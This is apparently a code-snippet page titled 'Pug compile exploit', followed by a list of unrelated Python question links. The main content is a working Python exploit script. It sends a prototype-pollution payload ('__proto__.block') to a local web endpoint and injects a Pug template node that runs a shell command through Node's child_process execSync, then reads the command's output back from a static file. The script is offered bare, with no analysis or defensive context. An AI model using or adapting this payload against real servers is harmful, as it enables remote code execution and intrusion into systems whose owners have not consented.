Pug compile exploit

import requests

ENDPOINT = 'http://127.0.0.1:1337/api/submit'
OUTPUT = 'http://127.0.0.1:1337/static/out'

request = requests.post(ENDPOINT, json = {
   "artist.name":"Gingell",
       "__proto__.block": {
           "type":"Text",
           "line":"process.mainModule.require('child_process').execSync('ls > /app/static/out')"
       }
})
print (request.text)
print (requests.get(OUTPUT).text)

Similar codes

1 vote368 views1 answer
Spacy matcher syntax
Python
0 vote350 views1 answer
Python transform two columns to a list combine
Python
3 votes391 views2 answers
Cv2.cv2 has no attribute face
Python
5 votes358 views3 answers
Series change index pandas
Python
0 vote352 views1 answer
Python linux script
Python
0 vote365 views1 answer
Append a line to a text file using the write() function
Python
1 vote341 views1 answer
Python remove none from dict
Python
1 vote296 views1 answer
Python install google
Python
0 vote344 views1 answer
Python - Drop row if two columns are NaN
Python
25 votes349 views3 answers
Python warnings as error
Python